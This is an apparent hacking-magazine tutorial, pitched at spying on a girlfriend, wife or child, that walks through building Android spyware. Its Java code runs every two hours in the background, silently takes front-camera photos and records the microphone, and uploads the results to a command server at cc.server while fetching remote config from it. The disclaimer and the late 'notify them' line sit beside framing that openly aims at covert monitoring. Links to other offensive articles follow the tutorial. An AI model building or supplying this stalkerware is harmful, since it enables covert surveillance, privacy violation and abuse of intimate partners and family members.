
Everyone cares about their significant others' security. We all know that feeling when your calls are not answered and your Whatsapp messages not marked as read. In a moment like that you would do a lot to have any idea what is happening there. Although cell phone carriers offer geolocation services to locate another user, knowing your girlfriend is somewhere in the middle of Main Street will barely help. So what can we do about it?

WARNING
All the information was obtained through author's personal research and is published for educational purposes. Neither the editorial staff nor the the author bear any responsibility for any damage caused by the intervention in the OS performance.
Setting goals
It's a good thing we live in happy times when just several lines of code can make your wish come true. Let's check what we can do with a regular Android phone.
Today we're going to write a short program that will work in background mode, gathering various data we need and then send it to a specified server.
We already created a similar nice application in one of our previous articles, but it was not able to run in the background. The reason lies in the app’s activity lifecycle. You are welcome to study this subject in detail. I'll give you just a brief description: once the system registers that the user stopped using an application, it goes to the queue for unloading from the memory to clear it for other tasks. So if we want the phone to collect the data throughout the day (and night) we should see to it.
We want our application to launch every now and then to take a photo with its front camera, record a short sound sample and send it all to a certain server. To make it flexible and adjustable let’s make it download a config file to check against once in a while.
Go!
Let's first create the XML configuration file. It will be downloaded once a day and parsed with XMLPullParser. In our case we should check for opening audio and photo tags. Clearly this class allow more opportunities, so creating flexible preferences will not be a problem. The preferences proper will be saved to Shared Preferences.
XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
factory.setNamespaceAware(true);
XmlPullParser parser = factory.newPullParser();
// Downloading XML-file from the specified address by GET and read it using InputStream
HttpURLConnection urlConnection = null;
URL url = new URL("http://cc.server/config.xml");
urlConnection = (HttpURLConnection) url.openConnection();
urlConnection.setRequestMethod("GET");
urlConnection.connect();
InputStream input = urlConnection.getInputStream();
parser.setInput(input, null);
int eventType = parser.getEventType();
// Checking the XML-file for opening tags
while(eventType != XmlPullParser.END_DOCUMENT)
{
if(eventType == XmlPullParser.START_TAG)
{
if (parser.getName().contains("photo"))
{ConfigUpdater.isPhoto=true;}
else if (parser.getName().contains("audio"))
{ConfigUpdater.isAudio=true;}
eventType = parser.next();
}
}
AsyncTask class allows to perform a resource-intensive task in the background mode. For example we can download files in the background without causing lags in the main application used at that moment.
public class LoadConfig extends AsyncTask<String, Void,Boolean> {
private Exception exception;
@Override
protected Boolean doInBackground(String... urls) {
try
{
// running a separate process for downloading and reading the config file
parseXml();
}
catch (Exception e)
{
this.exception = e;
return null;
}
return null;
}
}
BroadcastReceiver class allows to sign up for receiving notifications on upcoming events in the OS. Upon receiving such notification the application will run the list of commands assigned by the developer. So after the OS registers the application as a recipient of certain notifications, it will run onReceive in appropriate class once the indicated event takes place. This works even if the phone's screen is locked or another demanding application is in use.
public void onReceive(Context context, Intent intent) {
// We use AsyncTask to download and process the config file
new LoadConfig().execute();
// The results are put in SharedPreferences
sp = context.getSharedPreferences("Config", context.MODE_PRIVATE);
sp.edit().putBoolean("isAudio", isAudio).commit();
sp.edit().putBoolean("isPhoto", isPhoto).commit();
}
The camera in Android can be accessed via graphical Intent or without user taking any actions. The latter makes it possible to take photos absolutely imperceptibly. We only need to determine the camera ID and use onPictureTaken method in PictureCallBack class.
private int findFrontFacingCamera() {
int cameraId = -1;
int numberOfCameras = Camera.getNumberOfCameras();
for (int i = 0; i < numberOfCameras; i++)
{
CameraInfo info = new CameraInfo();
Camera.getCameraInfo(i, info);
// Looking through all the cameras to select the front camera
if (info.facing == CameraInfo.CAMERA_FACING_FRONT)
{
cameraId = i;
break;
}
}
return cameraId;
}
cameraId = findFrontFacingCamera();
// Creating a new instance of the PhotoHandler class. We need it for saving a photo
PhotoHandler phHandler = new PhotoHandler(camera);
phHandler.setFile(file);
camera.reconnect();
camera.startPreview();
camera.takePicture(null, null,phHandler);
Here is how the PhotoHandler is carried out. When creating a photo the OS will call the onPictureTaken method. It will receive a byte array containing the photo as its argument.
public class PhotoHandler implements PictureCallback {
@Override
public void onPictureTaken(byte[] data, Camera camera) {
// Writing the byte array in the file
FileOutputStream fos = new FileOutputStream(pictureFile);
fos.write(data);
fos.close();
ourCamera.release();
...
}
}
Recording the mic input will be just as easy. We will use MediaRecorder to do it. This class allows to record sound and video depending on the parameters we set. We will work only with sound this time.
MediaRecorder myAudioRecorder;
String outputFile = audioFile.toString();
myAudioRecorder=new MediaRecorder();
// The sound should be recorded from the mic to 3GP format, sound processing algorithm AMR_NB myAudioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
myAudioRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
myAudioRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB);
According to the manual, the method (onReceive) called by BroadcastReceived will be terminated after 10 seconds. To record a longer sample we will create a separate thread using the Service class.
Intent audioIntent = new Intent(context, AudioService.class);
context.startService(audioIntent);
When the service is started, the mic sound will be recorded by the onHandleIntent method.
public class AudioService extends IntentService {
@Override
protected void onHandleIntent(Intent intent) {
recordAudio();
}
...
}
The easiest way to upload the data is an ordinary POST request. We will use the HttpUrlConnection class for it.
FileInputStream fileInputStream = new FileInputStream(new File(myFile) );
URL myUrl = new URL("http://cc.server/upload.php");
HttpURLConnection connection = (HttpURLConnection) myUrl.openConnection();
connection.setDoInput(true);
connection.setDoOutput(true);
connection.setUseCaches(false);
// Initializing the POST request
connection.setRequestMethod("POST");
connection.setRequestProperty("Connection", "Keep-Alive");
connection.setRequestProperty("Content-Type", "multipart/form-data;boundary="+boundary);
// Opening a connection with the server and sending the file outputStream = new DataOutputStream( connection.getOutputStream() );
outputStream.writeBytes(twoHyphens + boundary + lineEnd);
// Describing the request content according to RFC 1806
outputStream.writeBytes("Content-Disposition: form-data; name=\"uploadedfile\";filename=\"" + myFile +"\"" + lineEnd);
outputStream.writeBytes(lineEnd);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
buffer = new byte[bufferSize];
// Reading the file into buffer at the same time fixing its size
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
while (bytesRead > 0)
{
outputStream.write(buffer, 0, bufferSize);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
}
outputStream.writeBytes(lineEnd);
outputStream.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
Now to make it all work we will enable our application to get system events notifications. The AlarmManager class allows us to schedule the launch of our application, let's make it every two hours. You are welcome to read the manual for more information.
Intent intentConfig = new Intent(this, ConfigUpdater.class);
PendingIntent pIConfig = PendingIntent.getBroadcast(this.getApplicationContext(), 31337, intentConfig, 0);
AlarmManager aMConfig = (AlarmManager) getSystemService(ALARM_SERVICE);
// From now on the app will start every two hours
aMConfig.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(), 7200000, pIConfig);
We also need to modify the AndroidManifest file so that our application could get permissions from the OS for creating files, Internet access, taking photographs, sound recording and reacting upon system events. During the installation of the app the system will notify the user about all the above (except for the system events). This is why it is important to pay attention to what permissions you give to an application. If a solitaire app requests permission to use the camera, it might be a malware solitaire.

INFO
Here we have described only a small part of the possibilities one can exploit. Now it’s clear why on a crucial meeting you should switch off your mobile phone and not just switch it to the airplane mode.
Well, that's it. Now your child, wife or your geek cat are free to go. Don't forget to notify them in advance about their brand new life logging capabilities. We do not want to spy on people here, don't we? We wish you good luck and peace of mind.

2022.02.09 — First contact: An introduction to credit card security
I bet you have several cards issued by international payment systems (e.g. Visa or MasterCard) in your wallet. Do you know what algorithms are…
Full article →
2022.01.11 — Persistence cheatsheet. How to establish persistence on the target host and detect a compromise of your own system
Once you have got a shell on the target host, the first thing you have to do is make your presence in the system 'persistent'. In many real-life situations,…
Full article →
2022.06.02 — Blindfold game. Manage your Android smartphone via ABD
One day I encountered a technical issue: I had to put a phone connected to a single-board Raspberry Pi computer into the USB-tethering mode on boot. To do this,…
Full article →
2022.06.01 — Quarrel on the heap. Heap exploitation on a vulnerable SOAP server in Linux
This paper discusses a challenging CTF-like task. Your goal is to get remote code execution on a SOAP server. All exploitation primitives are involved with…
Full article →
2022.01.13 — Step by Step. Automating multistep attacks in Burp Suite
When you attack a web app, you sometimes have to perform a certain sequence of actions multiple times (e.g. brute-force a password or the second authentication factor, repeatedly…
Full article →
2023.02.13 — Ethernet Abyss. Network pentesting at the data link layer
When you attack a network at the data link layer, you can 'leapfrog' over all protection mechanisms set at higher levels. This article will walk…
Full article →
2022.02.15 — EVE-NG: Building a cyberpolygon for hacking experiments
Virtualization tools are required in many situations: testing of security utilities, personnel training in attack scenarios or network infrastructure protection, etc. Some admins reinvent the wheel by…
Full article →
2022.12.15 — What Challenges To Overcome with the Help of Automated e2e Testing?
This is an external third-party advertising publication. Every good developer will tell you that software development is a complex task. It's a tricky process requiring…
Full article →
2022.02.09 — Kernel exploitation for newbies: from compilation to privilege escalation
Theory is nothing without practice. Today, I will explain the nature of Linux kernel vulnerabilities and will shown how to exploit them. Get ready for an exciting journey:…
Full article →
2023.04.20 — Sad Guard. Identifying and exploiting vulnerability in AdGuard driver for Windows
Last year, I discovered a binary bug in the AdGuard driver. Its ID in the National Vulnerability Database is CVE-2022-45770. I was disassembling the ad blocker and found…
Full article →